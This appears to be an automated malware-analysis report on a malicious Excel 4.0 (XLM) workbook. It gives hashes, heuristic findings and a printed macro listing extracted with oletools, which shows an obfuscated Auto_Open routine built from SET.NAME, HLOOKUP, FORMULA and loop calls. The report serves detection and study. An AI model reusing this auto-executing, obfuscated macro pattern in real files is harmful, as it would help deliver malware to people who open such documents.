Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1b4b0a3b872289ca…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:39:52 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: ca23e229cc70d1f9d99cd9e9553149d7 SHA-1: 5feb3a1ccb712e172b5d825519d8bfd68f0219d4 SHA-256: 1b4b0a3b872289ca752b94dc7ae7ec1d8fe5376d094487ba0025a647120b7073
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6364 bytes
SHA-256: 9c37693593b661b6c5d551601f5439bccaae86f310555cbdc9e98c6e231cc60b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  orA
' 0018     20 LABEL : Cell Value, String Constant - aMpEa len=0 
' 0018     22 LABEL : Cell Value, String Constant - AqKHpnz len=0 
' 0018     24 LABEL : Cell Value, String Constant - ATEeYTuhg len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F144 
' 0018     27 LABEL : Cell Value, String Constant - FJesCxUdirBr len=0 
' 0018     20 LABEL : Cell Value, String Constant - GAqgQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - KMEUIG len=0 
' 0018     22 LABEL : Cell Value, String Constant - npebsUo len=0 
' 0018     23 LABEL : Cell Value, String Constant - nqqgvQwx len=0 
' 0018     26 LABEL : Cell Value, String Constant - OBNraVtpWBP len=0 
' 0018     23 LABEL : Cell Value, String Constant - OGqAnFMm len=0 
' 0018     22 LABEL : Cell Value, String Constant - qHvhcea len=0 
' 0018     27 LABEL : Cell Value, String Constant - QslUWFnMYYnf len=0 
' 0018     25 LABEL : Cell Value, String Constant - rOEdANDMDq len=0 
' 0018     27 LABEL : Cell Value, String Constant - uRciaHVDtryU len=0 
' 0018     25 LABEL : Cell Value, String Constant - UWfIkXwQWO len=0 
' 0018     24 LABEL : Cell Value, String Constant - VGrknzvYn len=0 
' 0018     22 LABEL : Cell Value, String Constant - vLToaPy len=0 
' 0018     21 LABEL : Cell Value, String Constant - YDWsZU len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZBKVYDj len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZDHqGQo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  orA,F61,"SET.NAME("ZBKVYDj",VALUE("0"))",""
'  orA,F64,"SET.NAME("rOEdANDMDq",ZBKVYDj)",""
'  orA,F66,"SET.NAME("VGrknzvYn",ZBKVYDj)",""
'  orA,F68,"SET.NAME("AqKHpnz",COUNTA(UWfIkXwQWO))",""
'  orA,F72,"SET.NAME("aMpEa",COUNTA(OBNraVtpWBP))",""
'  orA,F75,[],""
'  orA,F79,"SET.NAME("uRciaHVDtryU","")",""
'  orA,F83,"rOEdANDMDq",""
'  orA,F85,"SET.NAME("YDWsZU",HLOOKUP("*",UWfIkXwQWO,rOEdANDMDq,FALSE))",""
'  orA,F87,"vLToaPy",""
'  orA,F90,"SET.NAME("qHvhcea",ZBKVYDj)",""
'  orA,F94,[],""
'  orA,F99,"qHvhcea",""
'  orA,F103,"KMEUIG",""
'  orA,F106,"FJesCxUdirBr",""
'  orA,F109,"GAqgQ",""
'  orA,F114,"SET.NAME("nqqgvQwx",VALUE(HLOOKUP("*",OBNraVtpWBP,GAqgQ,FALSE)))",""
'  orA,F117,"ATEeYTuhg",""
'  orA,F121,"uRciaHVDtryU",""
'  orA,F123,"VGrknzvYn",""
'  orA,F126,NEXT(),""
'  orA,F130,"npebsUo",""
'  orA,F132,"SET.NAME("f",INT(T(FORMULA(T(uRciaHVDtryU)&"",""&T(npebsUo)))))",""
'  orA,F136,"OGqAnFMm",""
'  orA,F138,NEXT(),""
'  orA,F142,RETURN(),""
'  orA,F167,"SET.NAME("ZDHqGQo",F61)",""
'  orA,F172,"UWfIkXwQWO",""
'  orA,F177,"SET.NAME("OBNraVtpWBP",R96C12)",""
'  orA,F181,"SET.NAME("OGqAnFMm",190)",""
'  orA,F184,"SET.NAME("QslUWFnMYYnf",6)",""
'  orA,F189,ZDHqGQo(),""
'  orA,F190,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.